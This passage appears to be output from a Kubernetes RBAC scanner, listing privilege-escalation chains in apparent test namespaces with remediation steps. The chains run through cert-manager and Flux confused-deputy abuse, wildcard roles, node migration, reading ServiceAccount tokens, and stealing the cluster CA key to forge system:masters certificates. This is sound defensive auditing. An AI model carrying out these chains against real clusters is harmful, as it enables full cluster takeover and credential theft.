    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL

Subjects can reach cluster-admin equivalent in 2 hop(s)

KUBE-CONFUSED-DEPUTY-001 8 subjects Score 9.5–6.7
MITRE ATT&CK: T1078.004T1098T1068T1556

Affected subjects (8)

CRITICAL ServiceAccount/cutres-deputy-tenant/cutres-deputy Cluster 9.5
ServiceAccount/cutres-deputy-tenant/cutres-deputy can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/cutres-deputy-tenant/cutres-deputy → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cutres-deputy-tenant/cutres-deputy

Subject ServiceAccount/cutres-deputy-tenant/cutres-deputy has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager via operator_reconcile (write certificates.cert-manager.io): can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret
2. ServiceAccount/cert-manager/cert-manager → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/cutres-deputy-tenant/cutres-deputy (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/cutres-deputy-tenant/cutres-deputy (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/cutres-deputy-tenant/cutres-deputy, the attacker uses the operator_reconcile technique to reach ServiceAccount/cert-manager/cert-manager via write certificates.cert-manager.io, which gains can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret.
  3. The identity ServiceAccount/cert-manager/cert-manager already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 Confused deputy: operator reconciliation operator_reconcile

    Operators work by watching custom resources and acting on them with their own, usually cluster-wide, permissions. A tenant who can write one of those custom resources needs no permissions of their own: they write the instruction, and the controller carries it out as itself.

    A GitOps controller pointed at an attacker-controlled repository applies whatever manifests it finds there, including a ClusterRoleBinding. A monitoring operator told to scrape a chosen bearerTokenFile reads and ships its own mounted token. The permission that matters belongs to the deputy, not the requester.

    From ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager
    Permission granted write certificates.cert-manager.io
    Gives the attacker can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Survives cutting the cutres-deputy-cert-a binding (2 hops)

This route reaches the same target without the cutres-deputy-cert-a binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Confused deputy: operator reconciliation operator_reconcile

    Operators work by watching custom resources and acting on them with their own, usually cluster-wide, permissions. A tenant who can write one of those custom resources needs no permissions of their own: they write the instruction, and the controller carries it out as itself.

    A GitOps controller pointed at an attacker-controlled repository applies whatever manifests it finds there, including a ClusterRoleBinding. A monitoring operator told to scrape a chosen bearerTokenFile reads and ships its own mounted token. The permission that matters belongs to the deputy, not the requester.

    From ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager
    Permission granted write certificates.cert-manager.io
    Gives the attacker can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission write certificates.cert-manager.io that enables the first hop (ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager). Evaluated cut: removing this subject from the cutres-deputy-cert-a binding that grants hop 1. A route to the same sink survives that cut.
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission write certificates.cert-manager.io that enables the first hop (ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/deepchain-tenant/deepchain-deployer Cluster 9.5
ServiceAccount/deepchain-tenant/deepchain-deployer can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/deepchain-tenant/deepchain-deployer → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-deployer

Subject ServiceAccount/deepchain-tenant/deepchain-deployer has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller via operator_reconcile (write kustomizations.kustomize.toolkit.fluxcd.io): can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source
2. ServiceAccount/flux-system/kustomize-controller → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/deepchain-tenant/deepchain-deployer (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/deepchain-tenant/deepchain-deployer (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/deepchain-tenant/deepchain-deployer, the attacker uses the operator_reconcile technique to reach ServiceAccount/flux-system/kustomize-controller via write kustomizations.kustomize.toolkit.fluxcd.io, which gains can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source.
  3. The identity ServiceAccount/flux-system/kustomize-controller already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 Confused deputy: operator reconciliation operator_reconcile

    Operators work by watching custom resources and acting on them with their own, usually cluster-wide, permissions. A tenant who can write one of those custom resources needs no permissions of their own: they write the instruction, and the controller carries it out as itself.

    A GitOps controller pointed at an attacker-controlled repository applies whatever manifests it finds there, including a ClusterRoleBinding. A monitoring operator told to scrape a chosen bearerTokenFile reads and ships its own mounted token. The permission that matters belongs to the deputy, not the requester.

    From ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller
    Permission granted write kustomizations.kustomize.toolkit.fluxcd.io
    Gives the attacker can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission write kustomizations.kustomize.toolkit.fluxcd.io that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission write kustomizations.kustomize.toolkit.fluxcd.io that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
HIGH ServiceAccount/cutres-deputy-tenant/cutres-deputy Cluster 8.3
ServiceAccount/cutres-deputy-tenant/cutres-deputy can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source ServiceAccount/cutres-deputy-tenant/cutres-deputy → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cutres-deputy-tenant/cutres-deputy

Subject ServiceAccount/cutres-deputy-tenant/cutres-deputy has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager via operator_reconcile (write certificates.cert-manager.io): can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret
2. ServiceAccount/cert-manager/cert-manager → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/cutres-deputy-tenant/cutres-deputy yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/cutres-deputy-tenant/cutres-deputy.
  2. Acting as ServiceAccount/cutres-deputy-tenant/cutres-deputy, the attacker uses the operator_reconcile technique to reach ServiceAccount/cert-manager/cert-manager via write certificates.cert-manager.io, which gains can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret.
  3. Acting as ServiceAccount/cert-manager/cert-manager, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 Confused deputy: operator reconciliation operator_reconcile

    Operators work by watching custom resources and acting on them with their own, usually cluster-wide, permissions. A tenant who can write one of those custom resources needs no permissions of their own: they write the instruction, and the controller carries it out as itself.

    A GitOps controller pointed at an attacker-controlled repository applies whatever manifests it finds there, including a ClusterRoleBinding. A monitoring operator told to scrape a chosen bearerTokenFile reads and ships its own mounted token. The permission that matters belongs to the deputy, not the requester.

    From ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager
    Permission granted write certificates.cert-manager.io
    Gives the attacker can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret
  2. Step 2 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Survives cutting the cutres-deputy-cert-a binding (2 hops)

This route reaches the same target without the cutres-deputy-cert-a binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Confused deputy: operator reconciliation operator_reconcile

    Operators work by watching custom resources and acting on them with their own, usually cluster-wide, permissions. A tenant who can write one of those custom resources needs no permissions of their own: they write the instruction, and the controller carries it out as itself.

    A GitOps controller pointed at an attacker-controlled repository applies whatever manifests it finds there, including a ClusterRoleBinding. A monitoring operator told to scrape a chosen bearerTokenFile reads and ships its own mounted token. The permission that matters belongs to the deputy, not the requester.

    From ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager
    Permission granted write certificates.cert-manager.io
    Gives the attacker can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret
  2. Step 2 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission write certificates.cert-manager.io that enables the first hop (ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager). Evaluated cut: removing this subject from the cutres-deputy-cert-a binding that grants hop 1. A route to the same sink survives that cut.
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission write certificates.cert-manager.io that enables the first hop (ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/deepchain-tenant/deepchain-deployer Cluster 8.3
ServiceAccount/deepchain-tenant/deepchain-deployer can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source ServiceAccount/deepchain-tenant/deepchain-deployer → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-deployer

Subject ServiceAccount/deepchain-tenant/deepchain-deployer has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller via operator_reconcile (write kustomizations.kustomize.toolkit.fluxcd.io): can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source
2. ServiceAccount/flux-system/kustomize-controller → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/deepchain-tenant/deepchain-deployer yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/deepchain-tenant/deepchain-deployer.
  2. Acting as ServiceAccount/deepchain-tenant/deepchain-deployer, the attacker uses the operator_reconcile technique to reach ServiceAccount/flux-system/kustomize-controller via write kustomizations.kustomize.toolkit.fluxcd.io, which gains can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source.
  3. Acting as ServiceAccount/flux-system/kustomize-controller, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 Confused deputy: operator reconciliation operator_reconcile

    Operators work by watching custom resources and acting on them with their own, usually cluster-wide, permissions. A tenant who can write one of those custom resources needs no permissions of their own: they write the instruction, and the controller carries it out as itself.

    A GitOps controller pointed at an attacker-controlled repository applies whatever manifests it finds there, including a ClusterRoleBinding. A monitoring operator told to scrape a chosen bearerTokenFile reads and ships its own mounted token. The permission that matters belongs to the deputy, not the requester.

    From ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller
    Permission granted write kustomizations.kustomize.toolkit.fluxcd.io
    Gives the attacker can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source
  2. Step 2 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission write kustomizations.kustomize.toolkit.fluxcd.io that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission write kustomizations.kustomize.toolkit.fluxcd.io that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/cutres-deputy-tenant/cutres-deputy Cluster 8.1
ServiceAccount/cutres-deputy-tenant/cutres-deputy can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/cutres-deputy-tenant/cutres-deputy → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cutres-deputy-tenant/cutres-deputy

Subject ServiceAccount/cutres-deputy-tenant/cutres-deputy can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (3 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager via operator_reconcile (write certificates.cert-manager.io): can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret
2. ServiceAccount/cert-manager/cert-manager → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
3. ServiceAccount/cert-manager/cert-manager → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cutres-deputy-tenant/cutres-deputy.
  2. Acting as ServiceAccount/cutres-deputy-tenant/cutres-deputy, the attacker uses the operator_reconcile technique to reach ServiceAccount/cert-manager/cert-manager via write certificates.cert-manager.io, which gains can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret.
  3. Acting as ServiceAccount/cert-manager/cert-manager, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  4. Acting as ServiceAccount/cert-manager/cert-manager, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  5. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 3 Confused deputy: operator reconciliation operator_reconcile

    Operators work by watching custom resources and acting on them with their own, usually cluster-wide, permissions. A tenant who can write one of those custom resources needs no permissions of their own: they write the instruction, and the controller carries it out as itself.

    A GitOps controller pointed at an attacker-controlled repository applies whatever manifests it finds there, including a ClusterRoleBinding. A monitoring operator told to scrape a chosen bearerTokenFile reads and ships its own mounted token. The permission that matters belongs to the deputy, not the requester.

    From ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager
    Permission granted write certificates.cert-manager.io
    Gives the attacker can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret
  2. Step 2 of 3 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Survives cutting the cutres-deputy-cert-a binding (3 hops)

This route reaches the same target without the cutres-deputy-cert-a binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 3 Confused deputy: operator reconciliation operator_reconcile

    Operators work by watching custom resources and acting on them with their own, usually cluster-wide, permissions. A tenant who can write one of those custom resources needs no permissions of their own: they write the instruction, and the controller carries it out as itself.

    A GitOps controller pointed at an attacker-controlled repository applies whatever manifests it finds there, including a ClusterRoleBinding. A monitoring operator told to scrape a chosen bearerTokenFile reads and ships its own mounted token. The permission that matters belongs to the deputy, not the requester.

    From ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager
    Permission granted write certificates.cert-manager.io
    Gives the attacker can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret
  2. Step 2 of 3 Migrate pods onto an attacker node node_drain_migrate

